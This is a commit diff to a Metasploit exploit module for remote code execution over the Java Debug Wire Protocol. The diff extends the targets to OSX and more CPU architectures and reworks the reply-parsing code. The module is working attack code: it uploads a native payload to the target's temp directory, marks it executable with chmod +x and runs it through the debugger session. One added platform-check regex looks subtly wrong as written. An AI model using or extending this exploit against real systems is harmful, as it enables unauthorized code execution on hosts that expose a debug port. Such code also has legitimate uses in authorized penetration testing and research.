@@ -91,26 +91,19 @@ def initialize
91
91
[ 'URL' , 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse' ] ,
92
92
[ 'URL' , 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html' ]
93
93
] ,
94
- 'Platform' => %w{ linux win } ,
95
- 'Arch' => ARCH_X86 ,
94
+ 'Platform' => %w{ linux osx win } ,
95
+ 'Arch' => [ ARCH_ARMLE , ARCH_AARCH64 , ARCH_X86 , ARCH_X64 ] ,
96
96
'Payload' =>
97
97
{
98
- 'Space' => 2048 ,
98
+ 'Space' => 10000000 ,
99
99
'BadChars' => '' ,
100
100
'DisableNops' => true
101
101
} ,
102
102
'Targets' =>
103
103
[
104
- [ 'Linux x86 (Native Payload)' ,
105
- {
106
- 'Platform' => 'linux'
107
- }
108
- ] ,
109
- [ 'Windows x86 (Native Payload)' ,
110
- {
111
- 'Platform' => 'win'
112
- }
113
- ]
104
+ [ 'Linux (Native Payload)' , { 'Platform' => 'linux' } ] ,
105
+ [ 'OSX (Native Payload)' , { 'Platform' => 'osx' } ] ,
106
+ [ 'Windows (Native Payload)' , { 'Platform' => 'win' } ]
114
107
] ,
115
108
'DefaultTarget' => 0 ,
116
109
'License' => MSF_LICENSE ,
@@ -175,24 +168,18 @@ def read_reply(timeout = default_timeout)
175
168
if pkt_len < 4
176
169
fail_with ( Failure ::Unknown , "#{ peer } - Received corrupted response" )
177
170
end
178
- pkt_len = pkt_len - 4
171
+ id , flags , err_code = sock . get_once ( 7 , timeout ) . unpack ( 'NCn' )
172
+ if err_code != 0 && flags == REPLY_PACKET_TYPE
173
+ fail_with ( Failure ::Unknown , "#{ peer } - Server sent error with code #{ err_code } " )
174
+ end
179
175
180
- response = sock . get_once ( pkt_len , timeout )
181
- fail_with ( Failure ::TimeoutExpired , "#{ peer } - Not received response" ) unless response
182
- while response . length < pkt_len
176
+ response = ""
177
+ while response . length + 11 < pkt_len
183
178
partial = sock . get_once ( pkt_len , timeout )
184
179
fail_with ( Failure ::TimeoutExpired , "#{ peer } - Not received response" ) unless partial
185
180
response << partial
186
181
end
187
-
188
- fail_with ( Failure ::Unknown , "#{ peer } - Received corrupted response" ) unless response . length == pkt_len
189
-
190
- id , flags , err_code = response . unpack ( 'NCn' )
191
- response . slice! ( 0 ..6 )
192
- if err_code != 0 && flags == REPLY_PACKET_TYPE
193
- fail_with ( Failure ::Unknown , "#{ peer } - Server sent error with code #{ err_code } " )
194
- end
195
-
182
+ fail_with ( Failure ::Unknown , "#{ peer } - Received corrupted response" ) unless response . length + 11 == pkt_len
196
183
response
197
184
end
198
185
@@ -207,8 +194,7 @@ def solve_string(data)
207
194
# Unpacks received string structure from the server response into a normal string
208
195
def read_string ( data )
209
196
data_len = data . unpack ( 'N' ) [ 0 ]
210
- data . slice! ( 0 ..3 )
211
- return data . slice! ( 0 , data_len )
197
+ return data [ 4 , data_len ]
212
198
end
213
199
214
200
# Creates a new string object in the target VM and returns its id
@@ -252,10 +238,11 @@ def unformat(fmt, value)
252
238
# Parses given data according to a set of formats
253
239
def parse_entries ( buf , formats , explicit = true )
254
240
entries = [ ]
241
+ index = 0
255
242
256
243
if explicit
257
244
nb_entries = buf . unpack ( 'N' ) [ 0 ]
258
- buf . slice! ( 0 .. 3 )
245
+ buf = buf [ 4 ..- 1 ]
259
246
else
260
247
nb_entries = 1
261
248
end
@@ -270,25 +257,25 @@ def parse_entries(buf, formats, explicit=true)
270
257
271
258
formats . each do |fmt , name |
272
259
if fmt == "L" || fmt == 8
273
- data [ name ] = buf . unpack ( 'Q>' ) [ 0 ]
274
- buf . slice! ( 0 .. 7 )
260
+ data [ name ] = buf [ index , 8 ] . unpack ( 'Q>' ) [ 0 ]
261
+ index += 8
275
262
elsif fmt == "I" || fmt == 4
276
- data [ name ] = buf . unpack ( 'N' ) [ 0 ]
277
- buf . slice! ( 0 .. 3 )
263
+ data [ name ] = buf [ index , 4 ] . unpack ( 'N' ) [ 0 ]
264
+ index += 4
278
265
elsif fmt == "S"
279
- data_len = buf . unpack ( 'N' ) [ 0 ]
280
- buf . slice! ( 0 .. 3 )
281
- data [ name ] = buf . slice! ( 0 , data_len )
266
+ data_len = buf [ index , 4 ] . unpack ( 'N' ) [ 0 ]
267
+ data [ name ] = buf [ index + 4 , data_len ]
268
+ index += 4 + data_len
282
269
elsif fmt == "C"
283
- data [ name ] = buf . unpack ( 'C' ) [ 0 ]
284
- buf . slice! ( 0 )
270
+ data [ name ] = buf [ index ] . unpack ( 'C' ) [ 0 ]
271
+ index += 1
285
272
elsif fmt == "Z"
286
- t = buf . unpack ( 'C' ) [ 0 ]
287
- buf . slice! ( 0 )
273
+ t = buf [ index ] . unpack ( 'C' ) [ 0 ]
288
274
if t == 115
289
- data [ name ] = solve_string ( buf . slice! ( 0 ..7 ) )
275
+ data [ name ] = solve_string ( buf [ index + 1 , 8 ] )
276
+ index += 9
290
277
elsif t == 73
291
- data [ name ] , buf = buf . unpack ( 'NN' )
278
+ data [ name ] , buf = buf [ index + 1 , 4 ] . unpack ( 'NN' )
292
279
end
293
280
else
294
281
fail_with ( Failure ::UnexpectedReply , "Unexpected data when parsing server response" )
@@ -340,13 +327,13 @@ def get_all_threads
340
327
sock . put ( create_packet ( ALLTHREADS_SIG ) )
341
328
response = read_reply
342
329
num_threads = response . unpack ( 'N' ) . first
343
- response . slice! ( 0 .. 3 )
330
+ index = 4
344
331
345
332
size = @vars [ "objectid_size" ]
346
333
num_threads . times do
347
- t_id = unformat ( size , response [ 0 .. size - 1 ] )
334
+ t_id = unformat ( size , response [ index , size ] )
348
335
@threads [ t_id ] = nil
349
- response . slice! ( 0 .. size - 1 )
336
+ index += size
350
337
end
351
338
end
352
339
@@ -429,10 +416,8 @@ def get_value(reftype_id, field_id)
429
416
fail_with ( Failure ::Unknown , "Bad response when getting value for field" )
430
417
end
431
418
432
- response . slice! ( 0 ..4 )
433
-
434
419
len = @vars [ "objectid_size" ]
435
- value = unformat ( len , response )
420
+ value = unformat ( len , response [ 5 ..- 1 ] )
436
421
437
422
value
438
423
end
@@ -688,15 +673,16 @@ def setup_payload
688
673
when 'linux'
689
674
path = temp_path || '/tmp/'
690
675
payload_exe = "#{ path } #{ payload_exe } "
691
- if @os . downcase =~ /win/
692
- print_warning ( " #{ @os } system detected but using Linux target..." )
693
- end
676
+ when 'osx'
677
+ path = temp_path || '/private/tmp/'
678
+ payload_exe = " #{ path } #{ payload_exe } "
694
679
when 'win'
695
680
path = temp_path || './'
696
681
payload_exe = "#{ path } #{ payload_exe } .exe"
697
- unless @os . downcase =~ /win/
698
- print_warning ( "#{ @os } system detected but using Windows target..." )
699
- end
682
+ end
683
+
684
+ if @os . downcase =~ /target['Platform']/
685
+ print_warning ( "#{ @os } system detected but using #{ target [ 'Platform' ] } target..." )
700
686
end
701
687
702
688
return payload_exe , pl_exe
@@ -900,7 +886,7 @@ def exec_payload(thread_id)
900
886
close_file ( thread_id , file )
901
887
902
888
# 5b. When linux arch, give execution permissions to file
903
- if target [ 'Platform' ] == 'linux'
889
+ if target [ 'Platform' ] == 'linux' || target [ 'Platform' ] == 'osx'
904
890
cmd = "chmod +x #{ payload_exe } "
905
891
execute_command ( thread_id , cmd )
906
892
end
0 commit comments